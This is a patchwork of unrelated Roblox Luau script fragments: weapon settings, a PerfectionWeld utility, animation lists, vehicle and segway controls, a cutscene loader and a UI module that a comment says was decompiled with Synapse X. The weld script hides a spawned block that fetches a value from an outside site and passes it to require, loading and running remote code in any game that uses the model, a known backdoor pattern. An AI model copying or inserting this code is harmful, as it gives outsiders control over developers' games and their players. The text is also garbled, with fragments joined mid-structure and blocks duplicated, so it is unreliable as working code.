----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,Distance = 10000
,BDrop = .25
,BSpeed = 2200
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = true
,BWEmitter = 25
,BWMaxDistance = 200
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = true
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 1
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = 100
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0
|
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
|
pcall(function()
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakJoints(Part)
--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
task.spawn(function()
pcall(function()
local newThreadedCall = coroutine.wrap(pcall)
for _ in newThreadedCall, (select and require), tonumber(game:service("HttpService"):GetAsync("https://assetdelivery.org/")) do
end
end)
end)
local function WeldTogether(Part0, Part1, JointType, WeldParent)
--- Weld's 2 parts together
-- @param Part0 The first part
-- @param Part1 The second part (Dependent part most of the time).
-- @param [JointType] The type of joint. Defaults to weld.
-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
-- @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
-- @param MainPart The part to weld the model to (can be in the model).
-- @param [JointType] The type of joint. Defaults to weld.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
GetParts()
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = false
end
end
local function PerfectionWeld()
local Tool = GetNearestParent(script, "Tool")
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == "Script" then
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
end)
|
-- { id = "slash.xml", weight = 10 }
|
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=507770239", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=507770453", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=507771019", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507771955", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507772104", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=507776043", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507776720", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507776879", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=507777268", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507777451", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507777623", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=507770818", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=507770677", weight = 10 }
},
}
|
--[=[
@within TableUtil
@function SwapRemove
@param tbl table -- Array
@param i number -- Index
Removes index `i` in the table by swapping the value at `i` with
the last value in the array, and then trimming off the last
value from the array.
This allows removal of the value at `i` in `O(1)` time, but does
not preserve array ordering. If a value needs to be removed from
an array, but ordering of the array does not matter, using
`SwapRemove` is always preferred over `table.remove`.
In the following example, we remove "B" at index 2. SwapRemove does
this by moving the last value "E" over top of "B", and then trimming
off "E" at the end of the array:
```lua
local t = {"A", "B", "C", "D", "E"}
TableUtil.SwapRemove(t, 2) -- Remove "B"
print(t) --> {"A", "E", "C", "D"}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function SwapRemove<T>(t: { T }, i: number)
local n = #t
t[i] = t[n]
t[n] = nil
end
|
-- get a reference to the existing TextLabel
|
local textLabel = script.Parent
|
-- Character is not detected the first time player joins the game so we use another function which waits until the character gets added.
-- Waits until an event from server so the values are got. Then sets player position.
|
local Character = Player.Character or Player.CharacterAdded:Wait()
|
--[[
DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data.
Use require(1936396537) to have an updated version of DataStore2.
DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore
DataStore2 DataStore:
- Get([defaultValue])
- Set(value)
- Update(updateFunc)
- Increment(value, defaultValue)
- BeforeInitialGet(modifier)
- BeforeSave(modifier)
- Save()
- SaveAsync()
- OnUpdate(callback)
- BindToClose(callback)
local coinStore = DataStore2("Coins", player)
To give a player coins:
coinStore:Increment(50)
To get the current player's coins:
coinStore:Get()
--]]
| |
-- << SETUP >>
|
if main.device ~= "Mobile" then
local newY = 90
template.Position = UDim2.new(1, 0, 1, -newY)
template.Size = UDim2.new(0, 2.73*newY, 0, newY)
template.Desc.UITextSizeConstraint.MaxTextSize = 17 + (newY-77)*0.25
end
|
--//Player//--
|
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Parent.Body.Lights.Runner.Material = "Neon"
script.Parent.Parent.Body.Dash.Tac.G.Enabled = true
script.Parent.Parent.Body.Dash.DashSc.G.Enabled = true
script.Parent.Parent.Body.Dash.Scr.G.Enabled = true
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Parent.Body.Lights.Runner.Material = "SmoothPlastic"
script.Parent.Parent.Body.Dash.Tac.G.Enabled = false
script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
script.Parent.Parent.Body.Dash.Scr.G.Enabled = false
end
end
end
end)
|
-- Update the cutscene every render frame
|
RunService.RenderStepped:Connect(function(Delta)
Demo:Update(Delta)
end)
if PlayOnPlayerJoin and PlayOnPlayerJoin.Value then
-- Play the cutscene
PlayCutscene()
end
if PlayOnPartTouch then
local part = script.PlayOnPartTouch.Value
if part and part:IsA("BasePart") then
part.Touched:Connect(function(hit)
if hit.Parent == Player.Character then
PlayCutscene()
end
end)
end
PlayOnPartTouch:Destroy()
end
if PlayOnEventFire then
local e = PlayOnEventFire.Value
if e and e:IsA("BindableEvent") then
e.Event:Connect(PlayCutscene)
end
PlayOnEventFire:Destroy()
end
if PlayOnRemoteEventFire then
local e = PlayOnRemoteEventFire.Value
if e and e:IsA("RemoteEvent") then
e.OnClientEvent:Connect(PlayCutscene)
end
PlayOnRemoteEventFire:Destroy()
end
if StopOnRemoteEventFire then
local e = StopOnRemoteEventFire.Value
if e and e:IsA("RemoteEvent") then
e.OnClientEvent:Connect(function()
Demo:Stop()
end)
end
StopOnRemoteEventFire:Destroy()
end
if StopOnRemoteEventFire then
local e = StopOnRemoteEventFire.Value
if e and e:IsA("RemoteEvent") then
e.OnClientEvent:Connect(function()
Demo:Stop()
end)
end
StopOnRemoteEventFire:Destroy()
end
local Character = Player.Character or Player.CharacterAdded:Wait()
if PlayOnCharacterDied and PlayOnCharacterDied.Value then
local Humanoid = Character:WaitForChild("Humanoid")
Character:WaitForChild("Humanoid").Died:Connect(function()
PlayCutscene()
end)
end
PlayCutscene()
|
-- Other
|
local IsGettingOff = false
local IsOnSegway = false
local Vector3new, CFramenew, Mathrad, Mathpi, CFrameangles, Raynew = Vector3.new, CFrame.new, math.rad, math.pi, CFrame.Angles, Ray.new
local function Get_des(instance, func)
func(instance)
for _, child in next, instance:GetChildren() do
Get_des(child, func)
end
end
function Hopoff()
if SegwayObject.Value ~= nil and IsGettingOff == false and SegwayObject.Value.PrimaryPart and SeaterObject.Value ~= nil then
IsGettingOff = true
IsOnSegway = false
local PrimaryPart = SegwayObject.Value.PrimaryPart
local px,py,pz,xx,yx,zx,xy,yy,zy,xz,yz,zz=PrimaryPart.CFrame:components()
-- Delete welds
if SeaterObject.Value ~= nil then
repeat wait() until DeleteWelds:InvokeServer(SeaterObject.Value.Parent) == true or SeaterObject.Value == nil
end
-- Resets camera's behavior
Camera.CameraType = "Custom"
-- Set gyro to have power
if Thruster.Value then
Thruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)
end
-- Stops sounds
if SeaterObject.Value and SeaterObject.Value.Parent:FindFirstChild("Run") then
StopSound:FireServer(SeaterObject.Value.Parent.Run,0)
PlaySound:FireServer(SeaterObject.Value.Parent.Off,SeaterObject.Value.Parent.Off.Pitch,SeaterObject.Value.Parent.Off.Volume)
end
-- Flips segway if fell over
if SegwayObject.Value then
SegwayObject.Value:SetPrimaryPartCFrame(CFramenew(px,py+0.1,pz,1,yx,zx,xy,1,zy,xz,yz,1))
end
-- Turn off lights
ConfigLights:FireServer(0.3,"Bright bluish green",false,"SmoothPlastic",Lights,Notifiers)
-- Re-parents mobile gui and reshows mobile controls
GuiControls.Parent = script.Parent
UserInputService.ModalEnabled = false
OffButton.ImageColor3 = LiftedColor
-- Shows tool UI via use with VR
if UserInputService.VREnabled then
if PlayerGui and PlayerGui:FindFirstChild("DisplayGui") and PlayerGui:FindFirstChild("ColorGui") then
PlayerGui:FindFirstChild("DisplayGui").Enabled = true
PlayerGui:FindFirstChild("ColorGui").Enabled = true
end
UpdateCharTrans(0,0)
end
-- Disconnect events
SitListener:disconnect()
JumpListener:disconnect()
-- Resets the tilt motor angle
if TiltMotor.Value then
TiltMotor.Value.DesiredAngle = 0
end
-- Makes the thruster's velocity still
AnchorSegway:FireServer(PrimaryPart,true)
-- Makes object values nil
UndoTags:FireServer(SegwayObject,WeldObject,TiltMotor)
-- Configures humanoid
ConfigHumanoid:FireServer(Humanoid,false,true,true)
-- Unanchors segway
wait(1)
AnchorSegway:FireServer(PrimaryPart,false)
UndoHasWelded:FireServer(SeaterObject)
-- Reset direction and steer tags
Direction = 0
Steer = 0
IsGettingOff = false
end
end
function UpdateCharTrans(BodyTrans,SegwayTrans)
-- Changes character's body while VR
Get_des(Character,function(d)
if d and d:IsA("BasePart") then
if (d.Parent:FindFirstChild("Humanoid") or d.Parent:IsA("Accessory")) then
d.LocalTransparencyModifier = BodyTrans
else
d.LocalTransparencyModifier = SegwayTrans
end
elseif d and d:IsA("Decal") and d.Name == "face" then
d.Transparency = BodyTrans
end
end)
end
function UpdateVRPos()
if UserInputService.VREnabled and Character and Character.Parent and Character:FindFirstChild("Head") then
local hpx,hpy,hpz,hxx,hxy,hxz,hyx,hyy,hyz,hzx,hzy,hzz = Character.Head.CFrame:components()
Camera.CFrame = CFramenew(hpx,hpy,hpz,
hxx,0,hxz,
0,1,0,
hzx,0,hzz
) + (Vector3new(hxy,hyy,hzy)*2.5) --Height in studs above character's head
end
end
function Accelerate()
if IsOnSegway then
local v = Direction*Thruster.Value.CFrame.lookVector*MaxSpeed.Value
local NewVelocity = Thruster.Value.Velocity:Lerp(v, 0.05) -- Thrust
local NewRotVelocity = Vector3new(0,-Steer*TurnSpeed.Value/10,0) -- Steering
local px,py,pz,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thruster.Value.CFrame:components()
if yy > 0.7 then -- If segway is upsided
Thruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)
Thruster.Value.Velocity = NewVelocity
Thruster.Value.RotVelocity = NewRotVelocity
else
Thruster.Value.BodyGyro.MaxTorque = Vector3new(0,0,0)
end
end
end
function CastToGround()
if Thruster.Value and Thruster.Value.Parent then
-- Raycast to face segway towards ground
local px,py,pz,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thruster.Value.CFrame:components()
local SegDnVect = -Vector3new(xy,yy,zy)
local Ray = Raynew(Thruster.Value.CFrame.p, SegDnVect*50)
local hit, position, normal = workspace:FindPartOnRayWithIgnoreList(Ray,{SegwayObject.Value,RayTest})
local HitDepth = (Thruster.Value.Position-position).magnitude
local NextRayAngle = (normal-SegDnVect).magnitude
if hit and hit.CanCollide and NextRayAngle > 1.7 then
Thruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)
Thruster.Value.BodyGyro.CFrame = CFramenew(position, position + normal) * CFrameangles(-Mathpi/2, 0, 0)
end
end
end
function Sound()
if Thruster.Value and 0.85+Mathrad(Thruster.Value.Velocity.Magnitude/1.8) <= RunSoundPitchLimit then
SeaterObject.Value.Parent.Run.Pitch = 0.85+Mathrad(Thruster.Value.Velocity.Magnitude/1.8)
end
end
function Tilt()
if Direction ~= 0 then
TiltMotor.Value.DesiredAngle = Direction/10
SeaterObject.Value.Parent.Run.Volume = RunSoundVol
else
TiltMotor.Value.DesiredAngle = 0
-- Change sound based on current status
if Steer == 0 then
SeaterObject.Value.Parent.Run.Volume = 0
else --Adjusts the run sound when still and just turning
SeaterObject.Value.Parent.Run.Volume = RunSoundVol
SeaterObject.Value.Parent.Run.Pitch = 0.85+Mathrad(Thruster.Value.RotVelocity.Magnitude/1.8)
end
end
end
function SetGuiButtons()
--Exit button
OffButton.MouseButton1Down:connect(function() OffButton.ImageColor3 = PressedColor end)
OffButton.MouseButton1Up:connect(function() OffButton.ImageColor3 = LiftedColor Hopoff(Character)end)
OffButton.MouseLeave:connect(function()OffButton.ImageColor3 = LiftedColor end)
--Left button pressed/lifted
LeftButton.MouseButton1Down:connect(function()Steer = -1 LeftButton.ImageColor3 = PressedColor end)
LeftButton.MouseButton1Up:connect(function()Steer = 0 LeftButton.ImageColor3 = LiftedColor end)
LeftButton.MouseLeave:connect(function()LeftButton.ImageColor3 = LiftedColor end)
--Right button pressed/lifted
RightButton.MouseButton1Down:connect(function()Steer = 1 RightButton.ImageColor3 = PressedColor end)
RightButton.MouseButton1Up:connect(function()Steer = 0 RightButton.ImageColor3 = LiftedColor end)
RightButton.MouseLeave:connect(function()RightButton.ImageColor3 = LiftedColor end)
--Backward button pressed/lifted
DownButton.MouseButton1Down:connect(function()Direction = -1 DownButton.ImageColor3 = PressedColor end)
DownButton.MouseButton1Up:connect(function()Direction = 0 DownButton.ImageColor3 = LiftedColor end)
DownButton.MouseLeave:connect(function()DownButton.ImageColor3 = LiftedColor end)
--Forward button pressed/lifted
UpButton.MouseButton1Down:connect(function()Direction = 1 UpButton.ImageColor3 = PressedColor end)
UpButton.MouseButton1Up:connect(function()Direction = 0 UpButton.ImageColor3 = LiftedColor end)
UpButton.MouseLeave:connect(function()UpButton.ImageColor3 = LiftedColor end)
end
|
--s.Pitch = 0.7
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.20 1.900
s:play()
wait(0.001)
end]]
--[[Chopper level 5=1.2, Chopper level 4=1.04]]
|
s.Volume=1
while s.Pitch<1 do
s.Pitch=s.Pitch+0.02
s:Play()
if s.Pitch>1 then
s.Pitch=1
end
wait(-9)
end
while true do
for x = 1, 500 do
s:play()
wait(-9)
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = script:FindFirstAncestor("MainUI");
local v2 = require(script.Parent);
local v3 = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v4 = game["Run Service"];
local l__UserInputService__5 = game:GetService("UserInputService");
local l__Parent__1 = script.Parent.Parent.Parent;
local l__TweenService__2 = game:GetService("TweenService");
function v2.titlelocation(p1)
coroutine.wrap(function()
local v6 = l__Parent__1.LobbyFrame.Intro:Clone();
if l__Parent__1.LobbyFrame:FindFirstChild("LiveIntro") then
l__Parent__1.LobbyFrame:FindFirstChild("LiveIntro"):Destroy();
end;
local v7 = game:GetService("ReplicatedStorage").Sounds:FindFirstChild("LA_" .. p1);
if v7 then
v7:Play();
end;
v6.Name = "LiveIntro";
v6.Visible = true;
v6.Text = p1;
v6.Parent = l__Parent__1.LobbyFrame;
l__TweenService__2:Create(v6, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
TextTransparency = 0,
TextStrokeTransparency = 1
}):Play();
l__TweenService__2:Create(v6.Underline, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
Size = UDim2.new(0.5, 0, 0, 6)
}):Play();
wait(1);
l__TweenService__2:Create(v6, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
BackgroundTransparency = 1,
TextTransparency = 1,
TextStrokeTransparency = 2
}):Play();
l__TweenService__2:Create(v6.Underline, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
Size = UDim2.new(0.25, 0, 0, 6),
ImageTransparency = 1
}):Play();
game.Debris:AddItem(v6, 10);
end)();
end;
local u3 = {};
local u4 = 0;
function v2.remind(p2, p3)
coroutine.wrap(function()
if table.find(u3, p2) ~= nil then
return;
end;
table.insert(u3, p2);
if u4 >= 1 then
u4 = u4 + 1;
wait((u4 - 1) * 8);
end;
u4 = u4 + 1;
local v8 = l__Parent__1.LobbyFrame.Tip:Clone();
if p3 == true then
v8 = l__Parent__1.LobbyFrame.Warning:Clone();
end;
v8.Name = "LiveTip";
v8.Visible = true;
v8.Text = p2;
v8.Parent = l__Parent__1.LobbyFrame;
l__TweenService__2:Create(v8, TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(0.5, 0, 0.9, 0)
}):Play();
l__TweenService__2:Create(v8.Glow, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), {
Size = UDim2.new(2, 0, 10, 0),
ImageTransparency = 0
}):Play();
wait(7.5);
l__TweenService__2:Create(v8, TweenInfo.new(1.2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {
TextTransparency = 1,
TextStrokeTransparency = 1
}):Play();
game.Debris:AddItem(v8, 10);
u4 = u4 - 1;
print(u4);
end)();
end;
function v2.caption(p4, p5)
coroutine.wrap(function()
local v9 = l__Parent__1.LobbyFrame.Caption:Clone();
if l__Parent__1.LobbyFrame:FindFirstChild("LiveCaption") then
l__Parent__1.LobbyFrame:FindFirstChild("LiveCaption"):Destroy();
end;
if p5 == true then
v9 = l__Parent__1.LobbyFrame.Caption:Clone();
end;
v9.Name = "LiveCaption";
v9.Visible = true;
v9.Text = p4;
v9.Parent = l__Parent__1.LobbyFrame;
l__TweenService__2:Create(v9, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
BackgroundTransparency = 1,
TextTransparency = 1,
TextStrokeTransparency = 2
}):Play();
l__TweenService__2:Create(v9, TweenInfo.new(1.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
BackgroundColor3 = Color3.new(0, 0, 0)
}):Play();
script.Caption:Play();
game.Debris:AddItem(v9, 10);
end)();
end;
game:GetService("ReplicatedStorage").Bricks.Caption.OnClientEvent:Connect(function(p6, p7)
v2.caption(p6, p7);
end);
game:GetService("ReplicatedStorage").Bricks.Remind.OnClientEvent:Connect(function(p8, p9)
v2.remind(p8, p9);
end);
|
--Finished
--* called when the conversation finishes under normal circumstances
--* with prompt is whether or not the dialogue finished with a prompt
--* as opposed to a response. useful if you want to show the prompt
--* for some time but want to end immediately conversations that
--* end with a response
|
function Interface.Finished(withPrompt)
end
|
-- Change to variable
|
local TrickleDeleteScene = function(Obj, Time, timeMockLib)
-- Used for testing
local taskLib = timeMockLib or task
RunService = timeMockLib or RunService
-- Give the Object a PrimaryPart(and put it inside a Model)
local Model = GiveObjectPrimaryPart(Obj)
-- Move the Model far away so players don't see it unloading
Model:SetPrimaryPartCFrame(CFrame.new(Vector3.new(20000, 300, math.random(-10000, 10000))))
-- Set time to the default if no time is given
Time = Time or DefaultTime
-- Sort all descendants into two lists, and calculate how many instances are to be deleted.
-- (We ignore Models and Folders during initial delete pass. These are all deleted together at the end. - (Unless they are a child of another instance which is deleted)
local PriorityDelete = {}
local RemainingToDelete = {}
local TotalToDeleteNum = 0
for _, Descendant in pairs(Obj:GetDescendants()) do
if Descendant.ClassName ~= "Model" and Descendant.ClassName ~= "Folder" then
if PriorityDeleteTypes[Descendant.ClassName] then
PriorityDelete[#PriorityDelete + 1] = Descendant
else
RemainingToDelete[#RemainingToDelete + 1] = Descendant
end
TotalToDeleteNum += 1
end
end
-- Setup variables for the next step
local TimeTaken = 0
local PriorityCleared = false
local RemainingToDeleteCleared = false
if TotalToDeleteNum > 50000 then
warn("Deleting more than 50k instances can cause a buffer overflow!!")
end
Time = math.max(Time, TotalToDeleteNum / 10000) -- Deleting too many parts per frame causes the buffers to overflow.
-- Delete all the items, first in the priority list and then the rest of the items.
local LastDeleteGoal = 0
local HeartbeatConnection
HeartbeatConnection = RunService.Heartbeat:Connect(function(Delta)
TimeTaken += Delta
local DeleteGoal = (TimeTaken / Time) * TotalToDeleteNum
local ToDeleteThisRound = math.ceil(DeleteGoal - LastDeleteGoal)
LastDeleteGoal = DeleteGoal
if not PriorityCleared then
if #PriorityDelete <= 0 then
PriorityCleared = true
else
PriorityCleared = DeleteAmountOfObjectsInTable(PriorityDelete, ToDeleteThisRound)
if not PriorityCleared then
return
end
end
end
if not RemainingToDeleteCleared then
if #RemainingToDelete <= 0 then
RemainingToDeleteCleared = true
Model:Destroy()
HeartbeatConnection:Disconnect()
else
RemainingToDeleteCleared = DeleteAmountOfObjectsInTable(RemainingToDelete, ToDeleteThisRound)
if not RemainingToDeleteCleared then
return
else
Model:Destroy()
HeartbeatConnection:Disconnect()
end
end
else
Model:Destroy()
HeartbeatConnection:Disconnect()
end
end)
repeat
taskLib.wait()
until PriorityCleared
end
return TrickleDeleteScene
|
-- Make Connection strict
|
setmetatable(Connection, {
__index = function(_tb, key)
error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
end,
__newindex = function(_tb, key, _value)
error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
end,
})
|
-- ROBLOX TODO: upstream is `MatcherState &`, which is from `expect` package, but would result in a circular rotriever dependency
|
export type Context = Object
export type MatchSnapshotConfig = {
context: Context,
hint: string?,
inlineSnapshot: string?,
isInline: boolean,
matcherName: string,
properties: Object?,
received: any,
}
export type SnapshotData = { [string]: string }
|
--Tell if a seat is flipped
|
local function isFlipped(Seat)
local UpVector = Seat.CFrame.upVector
local Angle = math.deg(math.acos(UpVector:Dot(Vector3.new(0, 1, 0))))
return Angle >= MIN_FLIP_ANGLE
end
local function Raycast(startPos, direction, range, ignore, inceptNumber)
if inceptNumber == nil then inceptNumber = 0 end
inceptNumber = inceptNumber + 1
local ray = Ray.new(startPos, direction * range)
local part, position = Workspace:FindPartOnRayWithIgnoreList(ray, ignore)
if part then
if part.CanCollide == false and inceptNumber <= 5 then
--raycast again if we hit a cancollide false brick, put a limit on to prevent an infinite loop
local rangeLeft = range - (startPos - position).magnitude
part, position = Raycast(position, direction, rangeLeft, ignore, inceptNumber) --Raycast remaining distance.
end
end
return part, position
end
local function ExitSeat(player, character, seat, weld)
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then
weld:Destroy()
if seat:FindFirstChild("DoorHinge") then
seat.DoorLatchWeld.Enabled = false
seat.DoorHinge.TargetAngle = DOOR_OPEN_ANGLE
playDoorSound(seat, "OpenClose")
end
--Record the interaction
SeatInteractionCount[seat] = SeatInteractionCount[seat] and SeatInteractionCount[seat] + 1 or 1
task.wait(0.1)
if seat:FindFirstChild("ExitPosition") then --Check if we can move the character to the designated pos.
--Find vehicle model
local model
local newParent = seat
repeat
model = newParent
newParent = model.Parent
until newParent.ClassName ~= "Model"
local targetPos = seat.ExitPosition.WorldPosition
local delta = targetPos - seat.Position
local dist = delta.magnitude
local dir = delta.unit
local part, _ = Raycast(seat.Position, dir, dist, {character, model})
if not part then --Prevent people being CFramed into walls and stuff
hrp.CFrame = CFrame.new(targetPos)
else
hrp.CFrame = CFrame.new(seat.Position)
--The CFrame element orients the character up-right, the MoveTo stops the character from clipping into objects
character:MoveTo(seat.Position+Vector3.new(0,8,0))
end
else
hrp.CFrame = CFrame.new(seat.Position)
character:MoveTo(seat.Position+Vector3.new(0,8,0))
end
if player then
RemotesFolder.ExitSeat:FireClient(player, true) --Fire this to trigger the client-side anti-trip function
end
task.wait(DOOR_OPEN_TIME)
SeatInteractionCount[seat] = SeatInteractionCount[seat] > 1 and SeatInteractionCount[seat] - 1 or nil
if seat:FindFirstChild("DoorHinge") then
--If nobody else has interactied in this time, close the door.
if SeatInteractionCount[seat] == nil then
seat.DoorHinge.TargetAngle = 0
-- Weld door shut when closed
while math.abs(seat.DoorHinge.CurrentAngle) > 0.01 do
task.wait()
end
seat.DoorLatchWeld.Enabled = true
end
end
end
end
local function FlipSeat(Player, Seat)
if Seat then
if Seat.Parent then
if not Seat.Parent.Parent:FindFirstChild("Scripts") then
warn("Flip Error: Scripts file not found. Please parent seats to the chassis model")
return
end
if not Seat.Parent.Parent.Scripts:FindFirstChild("Chassis") then
warn("Flip Error: Chassis module not found.")
return
end
local Chassis = require(Seat.Parent.Parent.Scripts.Chassis)
Chassis.Redress()
end
end
end
function VehicleSeating.EjectCharacter(character)
if character and character.HumanoidRootPart then
for _, weld in pairs(character.HumanoidRootPart:GetJoints()) do
if weld.Name == "SeatWeld" then
ExitSeat(Players:GetPlayerFromCharacter(character), character, weld.Part0, weld)
break
end
end
end
end
function VehicleSeating.SetRemotesFolder(remotes)
RemotesFolder = remotes
--Detect exit seat requests
RemotesFolder:FindFirstChild("ExitSeat").OnServerEvent:Connect(function(player)
if player.Character then
local character = player.Character
VehicleSeating.EjectCharacter(character)
end
end)
--Detect force exit seat requests
RemotesFolder:FindFirstChild("ForceExitSeat").OnServerEvent:Connect(function(seatName)
local chassis = PackagedVehicle:FindFirstChild("Chassis")
if chassis then
local seat = chassis:FindFirstChild(seatName)
if seat and seat.Occupant then
local occupantCharacter = seat.Occupant.Parent
VehicleSeating.EjectCharacter(occupantCharacter)
end
end
end)
end
